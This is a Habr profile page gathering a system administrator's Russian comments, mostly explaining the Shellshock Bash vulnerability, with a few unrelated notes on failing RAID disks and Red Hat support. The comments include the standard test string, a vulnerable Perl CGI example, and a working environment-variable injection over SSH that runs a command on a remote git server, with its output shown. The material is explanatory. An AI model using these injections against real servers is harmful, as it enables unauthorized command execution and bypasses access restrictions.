Обновить
87
br0ziliy@br0ziliy

Системный администратор автоматизированых систем

49
Подписчики
Отправить сообщение
Да, пофиксили примерно 12 часов назад.
На OS X возможна эскалация привилегий с использованием этой уязвимости:
image

Также через уязвимый CGI можно вывесить bash наружу:
image
Уязвимы все версии Bash, начиная с bash-1.14 (информация с сайта shellshocker.net/).
Так вон внизу в комментариях от меня — как раз пример.
Про варианты я дополнил в соседнем комментарии, в целом — да, если нет system() — то всё ок.
Более настоящий пример — использование шелл-скриптов:

system("/usr/bin/increase_counter.sh");

Если /usr/bin/increase_counter.sh — баш-скрипт, то система будет уязвима.
Если программист использовал — то да.
Уязвимы будут скрипты по типу этого:

#!/usr/bin/perl

print "Content-type: text/html\n\n";
system("/bin/bash -c somecommand");
print <<HTML;
 <html>
 <head>
 <title>A Simple Perl CGI</title>
 </head>
 <body>
 <h1>A Simple Perl CGI</h1>
 <p>Hello World</p>
 </body>
HTML
exit; 


При этом, если system() заменить на qx// — то ничего не происходить (qx// не форкает новый шелл насколько я понимаю).
Да, опечатался. Ну суть остаётся та же — если выводится «hi bro» и «bye dad» — стоит проверить апдейты для своего дистрибутива.
В интернете ходит много никнеймов для этой уязвимости, одна из них — Bashinga.
Во-первых, фиксят — но не до конца.
Во-вторых, этот будет работать всегда — создаётся переменную окружения foo, в которую заносится функция, и потом эта же функция вызывается в дочернем шелле.
Это нормально, так и задумано.
Беспокоиться стоит только если вот это:

x='() { echo «hi mom»; };echo «hi bro»' bash -c 'echo bye dad'

выводит «hi bro» и «hi dad» (на патченых версиях будет только «hi dad»).
Учите матчасть, и не дурите головы людям.
> А то что у вас — у меня это выводит uptime с локалхоста, вы ошиблись, видимо.

Не может такого быть. Разберём команду:

$ env LC_ALL='() { :; }; echo -n UPTIME:; /usr/bin/uptime' ssh git@_______.xx

Тут env присваивает переменной окружения LC_ALL значение '() { :; }; echo -n UPTIME:; /usr/bin/uptime'
Затем вызывается ssh, который подхватывает переменные окружения и передаёт их на сервер.
Сервер смотрит значение конфига AcceptEnv, и видит, что переменная LC_ALL в списке разрешённых.
Экспортирует эту переменную и форкает то, что у аккаунта git прописано как login shell — а там баш-скрипт.
Встаёт баш, и на этапе инициализации, *перед* тем как начнётся выполнение самого баш-скрипта — будет выполнено то, что в LC_ALL после тела функции — то есть «echo -n UPTIME:; /usr/bin/uptime»

Как видно выше, локалхостом тут и не пахнет — где-то при копи-пасте ошибка.
А, ну и да — git-shell — это bash скрипт.
А ещё есть сервисы, которые дают SSH-туннели прокидывать через себя — логиниться позволяют, но команды выполнять не дают.
Вот эта бага как раз и даёт возможность обойти это ограничение.
Ну, CGI-скрипт — это просто пример был.
По сути, всё, что спавнит баш — уязвимо.
Например — фильтры CUPS. Или dhclient, который от DHCP-сервера принимает параметры, которые через переменные окружения передаются в dhclient (который в свою очередь использует bash для настройки некоторых параметров сети).
После того, как закомментировал «AcceptEnv LANG LC_*» в /etc/ssh/sshd_config:

$ env LC_ALL='() { :; }; echo -n UPTIME:; /usr/bin/uptime' ssh git@_______.xx
basename: missing operand
Try 'basename --help' for more information.
git>
Ну, лолипоп поторопился конечно, как он показал — на моём репо не сработало.
А вот так — прекрасно:

$ env LC_ALL='() { :; }; echo -n UPTIME:; /usr/bin/uptime' ssh git@______.xx
UPTIME: 23:08:53 up 314 days, 9:36, 2 users, load average: 1.50, 1.46, 1.47
Connection to git@______.xx closed.
> Это вообще что с bash, что с другим каким шелом, в принципе не должно случаться (абстрагируясь, от сабжа).

В идеальном мире — да. Ну вот случается же.
Конкретно эта бага есть только в баш, все остальные командные интерпретаторы фильтруют это дело.
Меня этот метод не раз спасал, когда выбивало винт из RAID, smartctl отваливался с «Input/output error», а в ДЦ надо было отправить запрос на замену с серийником битого винта.
Удаление/добавление — и некоторое время можно опрашивать «плохой» винт через smartctl.
Автор ответил в личку, действительно, ему так ответил отдел обслуживания клиентов (НЕ тех. поддержка).
Сейчас разбираюсь, что произошло и почему ему так ответили — отпишусь тут в комментариях по результатам.
Позже напишу пост, наверное, о том, как работает поддержка РХ, и какие подразделения за что отвечают, чтоб не было недопонимания.
Разбираюсь, сегодня, надеюсь, будет результат.
Обязательно отпишусь в комментах.
Пока что это не фейк.
Автор ответил, действительно, ему так ответил отдел обслуживания клиентов (НЕ тех. поддержка).
Сейчас разбираюсь, что произошло и почему ему так ответили.
Позже напишу пост, наверное, о том, как работает поддержка РХ, и какие подразделения за что отвечают, чтоб не было недопонимания.

Информация

В рейтинге
Не участвует
Откуда
Brno, Jihomoravsky Kraj, Чехия
Дата рождения
Зарегистрирован
Активность

Специализация

Специалист
Lead
Linux
Git
High-loaded systems
Docker
Python
Kubernetes
Bash